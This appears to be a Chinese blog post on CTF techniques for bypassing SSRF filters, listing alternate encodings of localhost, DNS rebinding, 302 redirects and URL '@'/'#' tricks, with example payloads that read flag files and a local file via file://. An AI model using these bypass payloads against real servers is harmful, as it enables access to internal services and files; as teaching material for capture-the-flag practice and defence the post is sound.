CTF之SSRF常见绕过

1.绕过localhost和127.0.0.1

当程序中限制了我们使用localhost和127.0.0.1时,便可以利用进制转换来绕过

http://0x7F.0.0.1	//16进制
http://0177.0.0.1	//8进制
http://2130706433	//10进制整数格式
http://0x7F000001	16进制整数格式
http://127.1	//省略模式
http://127.127.127.127	//用CIDR绕过localhost
http://0	//特殊地址0
http://0.0.0.0
http://[::1]	//ipv6回环地址

ip进制转换:https://tool.520101.com/wangluo/jinzhizhuanhuan
进制转换:https://www.sojson.com/hexconvert.html

2.CTFSHOW例题:

2.1 直接利用SSRF漏洞进行本地读取flag:

Payload:url=http://127.0.0.1/ctf/ssrf/flag.php
Payload:url=file:///C:/phpstudy/phptutorial/www/ctf/ssrf/1.txt

在这里插入图片描述
2.2 绕过localhost和127.0.0.1

Payload:url=http://127.127.127.127/ctf/ssrf/flag.php

在这里插入图片描述
2.3 绕过localhost和0和1
(1)DNS重绑定:

http://test.com ——> 127.0.0.1

公共域名解析到127.0.0.1:

https://blog.csdn.net/lovelyelfpop/article/details/107306577

(2)302跳转:

header("Location:http://127.0.0.1/flag.php");
Payload:url=http://safe.taobao.com/ctf/ssrf/flag.php

在这里插入图片描述
2.4 绕过限定的URL
URL中#、@的妙用:

例:https://www.baidu.com#www.qq.com
https://www.baidu.com@www.qq.com
http://www.baidu.com@www.qq.com  //实则访问www.qq.com
http://www.baidu.com#www.qq.com  //实则访问www.baidu.com
Payload:url=http://ctf.@127.0.0.1/ctf/ssrf/flag.php#show

在这里插入图片描述

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
CTFHub是一个CTF(Capture The Flag)比赛平台,提供了各种安全挑战和漏洞利用的题目。在引用\[1\]中提到了一些与SSRF(Server-Side Request Forgery)相关的内容,包括伪协议读取文件、端口扫描、POST请求上传文件、FastCGI、Redis协议、URL Bypass、数字IP Bypass、302跳转Bypass和DNS重绑定 Bypass。引用\[2\]中提到了CGI和FastCGI协议的运行原理,并介绍了使用Gopherus工具生成攻击FastCGI的payload。引用\[3\]中提到了一个使用Python脚本进行端口扫描的例子。 所以,CTFHub ssrf是指在CTFHub平台上与SSRF相关的内容和挑战。 #### 引用[.reference_title] - *1* [CTFHub—SSRF](https://blog.csdn.net/qq_45927819/article/details/123400074)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [CTFHUB--SSRF详解](https://blog.csdn.net/qq_49422880/article/details/117166929)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] - *3* [CTFHub技能树笔记之SSRF:内网访问、伪协议读取文件、端口扫描](https://blog.csdn.net/weixin_48799157/article/details/123886077)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^control,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值